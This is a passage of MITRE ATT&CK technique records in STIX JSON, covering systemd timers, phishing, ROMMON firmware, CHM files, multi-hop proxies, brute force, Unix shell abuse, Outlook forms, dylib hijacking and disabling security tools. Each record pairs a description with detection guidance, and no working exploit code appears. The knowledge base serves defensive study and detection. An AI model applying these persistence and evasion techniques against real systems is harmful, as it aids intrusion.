<code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","File: File Modification","Scheduled Job: Scheduled Job Creation","Process: Process Creation"],"x_mitre_permissions_required":["User","root"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows","SaaS","Office 365","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Philip Winther"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","type":"attack-pattern","created":"2020-03-02T18:45:07.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1566","url":"https://attack.mitre.org/techniques/T1566"},{"external_id":"CAPEC-98","source_name":"capec","url":"https://capec.mitre.org/data/definitions/98.html"},{"source_name":"Microsoft Anti Spoofing","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."},{"source_name":"ACSC Email Spoofing","url":"https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf","description":"Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."}],"modified":"2022-01-04T13:57:16.959Z","name":"Phishing","description":"Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect phishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nFiltering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nURL inspection within email (including expanding shortened links) can help detect links leading to known malicious sites. Detonation chambers can be used to detect these links and either automatically go to these sites to determine if they're potentially malicious, or wait and capture the content if a user visits the link.\n\nBecause most common third-party services used for phishing via service leverage TLS encryption, SSL/TLS inspection is generally required to detect the initial communication/delivery. With SSL/TLS inspection intrusion detection signatures or other security gateway appliances may be able to detect malware.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded on the user's computer. Many possible detections of follow-on behavior may take place once [User Execution](https://attack.mitre.org/techniques/T1204) occurs.","x_mitre_version":"2.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow","File: File Creation","Application Log: Application Log Content"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228","type":"attack-pattern","created":"2017-05-31T21:30:50.342Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1061","url":"https://attack.mitre.org/techniques/T1061"},{"url":"https://en.wikipedia.org/wiki/Run_command","description":"Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.","source_name":"Wikipedia Run Command"}],"modified":"2020-03-30T13:38:08.738Z","name":"Graphical User Interface","description":"**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.","x_mitre_deprecated":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a6557c75-798f-42e4-be70-ab4502e0a3bc","type":"attack-pattern","created":"2020-10-20T00:05:48.790Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.004","url":"https://attack.mitre.org/techniques/T1542/004"},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."}],"modified":"2020-10-22T02:18:19.568Z","name":"ROMMONkit","description":"Adversaries may abuse the ROM Monitor (ROMMON) by loading an unauthorized firmware with adversary code to provide persistent access and manipulate device behavior that is difficult to detect. (Citation: Cisco Synful Knock Evolution)(Citation: Cisco Blog Legacy Device Attacks)\n\n\nROMMON is a Cisco network device firmware that functions as a boot loader, boot image, or boot helper to initialize hardware and software when the platform is powered on or reset. Similar to [TFTP Boot](https://attack.mitre.org/techniques/T1542/005), an adversary may upgrade the ROMMON image locally or remotely (for example, through TFTP) with adversary code and restart the device in order to overwrite the existing ROMMON image. This provides adversaries with the means to update the ROMMON to gain persistence on a system in a way that may be difficult to detect.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"There are no documented means for defenders to validate the operation of the ROMMON outside of vendor support. If a network device is suspected of being compromised, contact the vendor to assist in further investigation.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Firmware: Firmware Modification"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rahmat Nurfauzi, @infosecn1nja, PT Xynexis International"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d","type":"attack-pattern","created":"2020-01-23T18:53:54.377Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.001","url":"https://attack.mitre.org/techniques/T1218/001"},{"source_name":"Microsoft HTML Help May 2018","description":"Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.","url":"https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk"},{"source_name":"Microsoft HTML Help ActiveX","description":"Microsoft. (n.d.). HTML Help ActiveX Control Overview. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms644670"},{"source_name":"Microsoft HTML Help Executable Program","description":"Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.","url":"https://msdn.microsoft.com/windows/desktop/ms524405"},{"source_name":"MsitPros CHM Aug 2017","description":"Moe, O. (2017, August 13). Bypassing Device guard UMCI using CHM – CVE-2017-8625. Retrieved October 3, 2018.","url":"https://msitpros.com/?p=3909"},{"source_name":"Microsoft CVE-2017-8625 Aug 2017","description":"Microsoft. (2017, August 8). CVE-2017-8625 - Internet Explorer Security Feature Bypass Vulnerability. Retrieved October 3, 2018.","url":"https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8625"}],"modified":"2022-03-11T18:59:36.836Z","name":"Compiled HTML File","description":"Adversaries may abuse Compiled HTML files (.chm) to conceal malicious code. CHM files are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)\n\nA custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application application control on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor and analyze the execution and arguments of hh.exe. (Citation: MsitPros CHM Aug 2017) Compare recent invocations of hh.exe with prior history of known good arguments to determine anomalous and potentially adversarial activity (ex: obfuscated and/or malicious commands). Non-standard process execution trees may also indicate suspicious or malicious behavior, such as if hh.exe is the parent process for suspicious processes and activity relating to other adversarial techniques.\n\nMonitor presence and use of CHM files, especially if they are not typically used within an environment.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","File: File Creation","Command: Command Execution"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c","type":"attack-pattern","created":"2020-01-31T12:39:18.816Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1070.005","url":"https://attack.mitre.org/techniques/T1070/005"},{"url":"https://technet.microsoft.com/bb490717.aspx","description":"Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.","source_name":"Technet Net Use"}],"modified":"2021-02-09T13:31:01.970Z","name":"Network Share Connection Removal","description":"Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the <code>net use \\\\system\\share /delete</code> command. (Citation: Technet Net Use)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of <code>net use</code> commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Command: Command Execution","Process: Process Creation","User Account: User Account Authentication"],"x_mitre_defense_bypassed":["Host forensic analysis"],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_system_requirements":["Established network share connection to a remote system. Level of access depends on permissions of the account used."]},{"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d","type":"attack-pattern","created":"2020-03-14T23:23:41.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1090.003","url":"https://attack.mitre.org/techniques/T1090/003"},{"source_name":"Onion Routing","url":"https://en.wikipedia.org/wiki/Onion_routing","description":"Wikipedia. (n.d.). Onion Routing. Retrieved October 20, 2020."}],"modified":"2020-10-21T17:54:28.280Z","name":"Multi-hop Proxy","description":"To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source. A particular variant of this behavior is to use onion routing networks, such as the publicly available TOR network. (Citation: Onion Routing)\n\nIn the case of network infrastructure, particularly routers, it is possible for an adversary to leverage multiple compromised devices to create a multi-hop proxy chain within the Wide-Area Network (WAN) of the enterprise.  By leveraging [Patch System Image](https://attack.mitre.org/techniques/T1601/001), adversaries can add custom code to the affected network devices that will implement onion routing between those nodes.  This custom onion routing network will transport the encrypted C2 traffic through the compromised population, allowing adversaries to communicate with any device within the onion routing network.  This method is dependent upon the [Network Boundary Bridging](https://attack.mitre.org/techniques/T1599) method in order to allow the adversaries to cross the protected network boundary of the Internet perimeter and into the organization’s WAN. Protocols such as ICMP may be used as a transport.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"When observing use of Multi-hop proxies, network data from the actual command and control servers could allow correlating incoming and outgoing flows to trace malicious traffic back to its source. Multi-hop proxies can also be detected by alerting on traffic to known anonymity networks (such as [Tor](https://attack.mitre.org/software/S0183)) or known adversary infrastructure that uses this technique.\n\nIn context of network devices, monitor traffic for encrypted communications from the Internet that is addressed to border routers.  Compare this traffic with the configuration to determine whether it matches with any configured site-to-site Virtual Private Network (VPN) connections the device was intended to have. Monitor traffic for encrypted communications originating from potentially breached routers that is addressed to other routers within the organization.  Compare the source and destination with the configuration of the device to determine if these channels are an authorized Virtual Private Network (VPN) connections or other encrypted modes of communication. Monitor ICMP traffic from the Internet that is addressed to border routers and is encrypted.  Few if any legitimate use cases exist for sending encrypted data to a network device via ICMP.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content","Network Traffic: Network Traffic Flow"]},{"x_mitre_platforms":["Windows","Azure AD","Office 365","SaaS","IaaS","Linux","macOS","Google Workspace","Containers","Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["David Fiser, @anu4is, Trend Micro","Alfredo Oliveira, Trend Micro","Magno Logan, @magnologan, Trend Micro","Yossi Weizman, Azure Defender Research Team","Ed Williams, Trustwave, SpiderLabs","Mohamed Kmal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd","created":"2017-05-31T21:31:22.767Z","x_mitre_version":"2.4","external_references":[{"source_name":"mitre-attack","external_id":"T1110","url":"https://attack.mitre.org/techniques/T1110"},{"url":"https://capec.mitre.org/data/definitions/49.html","source_name":"capec","external_id":"CAPEC-49"}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.","modified":"2022-04-19T21:28:49.481Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Brute Force","x_mitre_detection":"Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_is_subtechnique":false,"x_mitre_data_sources":["Application Log: Application Log Content","Command: Command Execution","User Account: User Account Authentication"],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","type":"attack-pattern","created":"2020-03-09T14:15:05.330Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1059.004","url":"https://attack.mitre.org/techniques/T1059/004"},{"source_name":"DieNet Bash","url":"https://linux.die.net/man/1/bash","description":"die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020."},{"source_name":"Apple ZShell","url":"https://support.apple.com/HT208050","description":"Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020."}],"modified":"2021-07-26T22:34:43.261Z","name":"Unix Shell","description":"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_permissions_required":["User","root"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Windows","Office 365"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--a9e2cea0-c805-4bf8-9e31-f5f0513a3634","type":"attack-pattern","created":"2019-11-07T20:06:02.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1137.003","url":"https://attack.mitre.org/techniques/T1137/003"},{"source_name":"SensePost Outlook Forms","url":"https://sensepost.com/blog/2017/outlook-forms-and-shells/","description":"Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."},{"source_name":"Microsoft Detect Outlook Forms","url":"https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack","description":"Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019."},{"source_name":"SensePost NotRuler","url":"https://github.com/sensepost/notruler","description":"SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019."}],"modified":"2021-08-16T21:29:19.697Z","name":"Outlook Forms","description":"Adversaries may abuse Microsoft Outlook forms to obtain persistence on a compromised system. Outlook forms are used as templates for presentation and functionality in Outlook messages. Custom Outlook forms can be created that will execute code when a specifically crafted email is sent by an adversary utilizing the same custom Outlook form.(Citation: SensePost Outlook Forms)\n\nOnce malicious forms have been added to the user’s mailbox, they will be loaded when Outlook is started. Malicious forms will execute when an adversary sends a specifically crafted email to the user.(Citation: SensePost Outlook Forms)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)\n\nCollect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Application Log: Application Log Content"],"x_mitre_permissions_required":["Administrator","User"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1157","url":"https://attack.mitre.org/techniques/T1157"},{"external_id":"CAPEC-471","source_name":"capec","url":"https://capec.mitre.org/data/definitions/471.html"},{"url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","source_name":"Writing Bad Malware for OSX"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"}],"modified":"2021-03-30T00:51:57.919Z","name":"Dylib Hijacking","description":"macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":["Administrator","root"]},{"x_mitre_platforms":["Windows","macOS","Linux","Containers","IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Gordon Long, Box, Inc., @ethicalhax","Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security","Nathaniel Quist, Palo Alto Networks","Gal Singer, @galsinger29, Team Nautilus Aqua Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","type":"attack-pattern","created":"2020-02-21T20:32:20.810Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.001","url":"https://attack.mitre.org/techniques/T1562/001"},{"external_id":"CAPEC-578","source_name":"capec","url":"https://capec.mitre.org/data/definitions/578.html"},{"source_name":"OutFlank System Calls","url":"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/","description":"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021."},{"source_name":"MDSec System Calls","url":"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/","description":"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021."}],"modified":"2021-10-18T21:27:48.159Z","name":"Disable or Modify Tools","description":"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Termination","Sensor Health: Host Status","Command: Command Execution","Service: Service Metadata","Windows Registry: Windows Registry Key Deletion","Windows Registry: Windows Registry Key Modification"],"x_mitre_defense_bypassed":["Anti-virus","Log analysis","Signature-based 